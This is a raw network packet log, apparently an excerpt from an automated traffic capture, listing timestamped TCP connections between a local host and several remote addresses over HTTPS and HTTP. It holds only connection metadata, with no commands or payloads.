Dec 9, 2024 18:41:50.393537045 CET	49680	443	192.168.2.17	20.189.173.13
Dec 9, 2024 18:41:50.437561989 CET	443	49748	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:50.437654972 CET	443	49748	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:50.437719107 CET	49748	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:50.438389063 CET	49748	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:50.438401937 CET	443	49748	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:50.698837042 CET	443	49749	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:50.698925018 CET	443	49749	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:50.698981047 CET	49749	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:50.698997974 CET	443	49749	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:50.699048996 CET	49749	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:50.699523926 CET	49749	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:50.699546099 CET	443	49749	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:51.142369986 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:51.142417908 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:51.142472982 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:51.142765999 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:51.142784119 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:52.367022038 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:52.367337942 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:52.367348909 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:52.367759943 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:52.368092060 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:52.368163109 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:52.368273020 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:52.368346930 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:52.368366957 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:52.368432045 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:52.368454933 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:52.997947931 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:52.998748064 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:52.998800993 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:52.998810053 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:52.998822927 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:52.998878956 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:52.999545097 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.006405115 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.006455898 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:53.006462097 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.014662027 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.014729023 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:53.014734983 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.023046970 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.023097992 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:53.023102999 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.074533939 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:53.117615938 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.170543909 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:53.170557022 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.194022894 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.194078922 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:53.194086075 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.204102039 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.204150915 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:53.204157114 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.212393045 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.212440968 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:53.212445974 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.220663071 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.220715046 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:53.220719099 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.220773935 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.220820904 CET	49750	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:53.220828056 CET	443	49750	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:53.224072933 CET	49751	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:53.224121094 CET	443	49751	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:53.224188089 CET	49751	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:53.224484921 CET	49751	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:53.224499941 CET	443	49751	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:54.448862076 CET	443	49751	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:54.449210882 CET	49751	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:54.449240923 CET	443	49751	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:54.449620962 CET	443	49751	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:54.449923992 CET	49751	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:54.450005054 CET	443	49751	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:54.450048923 CET	49751	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:54.495332003 CET	443	49751	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:54.496575117 CET	49751	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:54.907587051 CET	443	49751	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:54.907664061 CET	443	49751	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:54.907738924 CET	49751	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:54.911340952 CET	49751	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:54.911364079 CET	443	49751	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:58.854708910 CET	49682	80	192.168.2.17	192.229.211.108
Dec 9, 2024 18:42:00.626723051 CET	49752	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:00.626796961 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:00.626909971 CET	49752	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:00.627162933 CET	49752	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:00.627180099 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:01.841308117 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:01.841604948 CET	49752	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:01.841619015 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:01.841933966 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:01.842240095 CET	49752	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:01.842288017 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:01.842381954 CET	49752	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:01.842463970 CET	49752	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:01.842483997 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:01.842582941 CET	49752	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:01.842628002 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:02.566843987 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:02.567647934 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:02.567675114 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:02.567713976 CET	49752	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:02.567728043 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:02.567773104 CET	49752	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:02.568844080 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:02.568954945 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:02.569001913 CET	49752	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:02.569066048 CET	49752	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:02.569077969 CET	443	49752	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:02.572433949 CET	49753	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:02.572484970 CET	443	49753	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:02.572592020 CET	49753	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:02.572838068 CET	49753	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:02.572849035 CET	443	49753	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:02.793621063 CET	49707	443	192.168.2.17	52.200.208.143
Dec 9, 2024 18:42:02.793657064 CET	443	49707	52.200.208.143	192.168.2.17
Dec 9, 2024 18:42:03.785022020 CET	443	49753	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:03.785296917 CET	49753	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:03.785324097 CET	443	49753	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:03.785645008 CET	443	49753	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:03.785928011 CET	49753	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:03.785979986 CET	443	49753	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:03.786046028 CET	49753	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:03.831336021 CET	443	49753	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:04.231308937 CET	443	49753	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:04.231396914 CET	443	49753	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:04.231462002 CET	49753	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:04.232882977 CET	49753	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:04.232898951 CET	443	49753	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:07.345784903 CET	49699	80	192.168.2.17	199.232.214.172
Dec 9, 2024 18:42:07.467457056 CET	80	49699	199.232.214.172	192.168.2.17
Dec 9, 2024 18:42:07.467605114 CET	49699	80	192.168.2.17	199.232.214.172
Dec 9, 2024 18:42:09.313929081 CET	49755	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:09.313982964 CET	443	49755	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:09.314089060 CET	49755	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:09.314306021 CET	49755	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:09.314318895 CET	443	49755	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:10.410159111 CET	49691	443	192.168.2.17	204.79.197.200
Dec 9, 2024 18:42:10.529695034 CET	443	49691	204.79.197.200	192.168.2.17
Dec 9, 2024 18:42:10.562072039 CET	443	49755	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:10.562681913 CET	49755	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:10.562719107 CET	443	49755	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:10.563086987 CET	443	49755	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:10.563524961 CET	49755	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:10.563606024 CET	443	49755	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:10.563715935 CET	49755	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:10.607338905 CET	443	49755	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:10.724611044 CET	443	49691	204.79.197.200	192.168.2.17
Dec 9, 2024 18:42:10.724695921 CET	49691	443	192.168.2.17	204.79.197.200
Dec 9, 2024 18:42:10.726378918 CET	49691	443	192.168.2.17	204.79.197.200
Dec 9, 2024 18:42:10.726475954 CET	49691	443	192.168.2.17	204.79.197.200
Dec 9, 2024 18:42:10.727251053 CET	49691	443	192.168.2.17	204.79.197.200
Dec 9, 2024 18:42:10.727329969 CET	49691	443	192.168.2.17	204.79.197.200
Dec 9, 2024 18:42:10.845729113 CET	443	49691	204.79.197.200	192.168.2.17
Dec 9, 2024 18:42:10.845788002 CET	443	49691	204.79.197.200	192.168.2.17
Dec 9, 2024 18:42:10.845861912 CET	443	49691	204.79.197.200	192.168.2.17
Dec 9, 2024 18:42:10.846514940 CET	443	49691	204.79.197.200	192.168.2.17
Dec 9, 2024 18:42:10.846592903 CET	443	49691	204.79.197.200	192.168.2.17
Dec 9, 2024 18:42:10.961240053 CET	443	49691	204.79.197.200	192.168.2.17
Dec 9, 2024 18:42:10.961347103 CET	49691	443	192.168.2.17	204.79.197.200
Dec 9, 2024 18:42:10.961719036 CET	49691	443	192.168.2.17	204.79.197.200
Dec 9, 2024 18:42:11.029937029 CET	443	49755	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:11.030019999 CET	443	49755	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:11.030077934 CET	49755	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:11.031177044 CET	49755	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:11.031198025 CET	443	49755	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:11.051963091 CET	49757	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:11.052031040 CET	443	49757	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:11.052114964 CET	49757	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:11.052280903 CET	49758	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:11.052325010 CET	443	49758	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:11.052376986 CET	49758	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:11.052520990 CET	49757	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:11.052537918 CET	443	49757	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:11.052969933 CET	49758	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:11.052983046 CET	443	49758	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:11.053731918 CET	49759	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:11.053747892 CET	443	49759	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:11.053812981 CET	49759	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:11.054218054 CET	49759	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:11.054225922 CET	443	49759	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:11.081068039 CET	443	49691	204.79.197.200	192.168.2.17
Dec 9, 2024 18:42:11.152548075 CET	443	49691	204.79.197.200	192.168.2.17
Dec 9, 2024 18:42:11.152643919 CET	49691	443	192.168.2.17	204.79.197.200
Dec 9, 2024 18:42:11.376919031 CET	49762	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:11.376964092 CET	443	49762	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:11.377046108 CET	49762	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:11.377280951 CET	49762	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:11.377295971 CET	443	49762	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.267348051 CET	443	49759	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:12.267666101 CET	49759	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:12.267692089 CET	443	49759	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:12.268702030 CET	443	49759	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:12.268788099 CET	49759	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:12.269166946 CET	49759	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:12.269228935 CET	443	49759	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:12.304270983 CET	443	49758	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.304620028 CET	49758	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:12.304629087 CET	443	49758	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.304996014 CET	443	49758	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.305275917 CET	443	49757	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.305429935 CET	49758	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:12.305500984 CET	443	49758	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.305624962 CET	49757	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:12.305656910 CET	443	49757	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.305753946 CET	49758	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:12.306132078 CET	443	49757	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.306432962 CET	49757	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:12.306525946 CET	443	49757	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.311646938 CET	49759	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:12.311654091 CET	443	49759	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:12.351320028 CET	443	49758	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.359663010 CET	49759	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:12.359680891 CET	49757	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:12.682924986 CET	443	49762	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.683307886 CET	49762	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:12.683341026 CET	443	49762	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.684380054 CET	443	49762	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.684448004 CET	49762	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:12.684740067 CET	49762	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:12.684794903 CET	443	49762	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.684899092 CET	49762	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:12.684912920 CET	443	49762	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.738639116 CET	49762	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:12.773030996 CET	443	49758	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.773139954 CET	443	49758	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:12.773201942 CET	49758	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:12.774748087 CET	49758	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:12.774765968 CET	443	49758	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:13.110414028 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:13.110469103 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:13.110548973 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:13.110790968 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:13.110799074 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:13.140616894 CET	443	49762	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:13.140702963 CET	443	49762	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:13.140877962 CET	49762	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:13.144117117 CET	49762	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:42:13.144136906 CET	443	49762	192.185.25.241	192.168.2.17
Dec 9, 2024 18:42:14.515002012 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:14.515377045 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:14.515408993 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:14.516607046 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:14.516673088 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:14.517694950 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:14.517776966 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:14.517860889 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:14.517872095 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:14.571631908 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.250473022 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.250497103 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.250504017 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.250540018 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.250550985 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.250562906 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.250562906 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.250591040 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.250603914 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.250629902 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.290652037 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.461042881 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.461054087 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.461100101 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.461122990 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.461142063 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.461170912 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.461175919 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.461224079 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.504623890 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.504645109 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.504703999 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.504714012 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.504760027 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.635576963 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.635600090 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.635648966 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.635673046 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.635705948 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.635721922 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.665102005 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.665121078 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.665172100 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.665179968 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.665230036 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.690967083 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.691034079 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.691114902 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.691180944 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.814382076 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.814415932 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.814461946 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.814487934 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.814507961 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.814532995 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.837251902 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.837271929 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.837368011 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.837378025 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.837423086 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.861885071 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.861901999 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.861954927 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.861963987 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.862025023 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.879638910 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.879657030 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.879739046 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.879750013 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.879795074 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.897001028 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.897061110 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.897089958 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.897098064 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.897115946 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:15.897128105 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.897141933 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.897177935 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.900358915 CET	49763	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:15.900378942 CET	443	49763	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:16.101993084 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:16.102030993 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:16.102139950 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:16.102384090 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:16.102400064 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:16.108165026 CET	49767	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:16.108175039 CET	443	49767	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:16.108256102 CET	49767	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:16.108490944 CET	49767	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:16.108499050 CET	443	49767	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:16.523884058 CET	49768	443	192.168.2.17	18.66.161.55
Dec 9, 2024 18:42:16.523929119 CET	443	49768	18.66.161.55	192.168.2.17
Dec 9, 2024 18:42:16.524051905 CET	49768	443	192.168.2.17	18.66.161.55
Dec 9, 2024 18:42:16.524254084 CET	49768	443	192.168.2.17	18.66.161.55
Dec 9, 2024 18:42:16.524266958 CET	443	49768	18.66.161.55	192.168.2.17
Dec 9, 2024 18:42:17.325876951 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.326159954 CET	49766	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:17.326183081 CET	443	49766	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:17.326913118 CET	443	49767	104.18.94.41	192.168.2.17
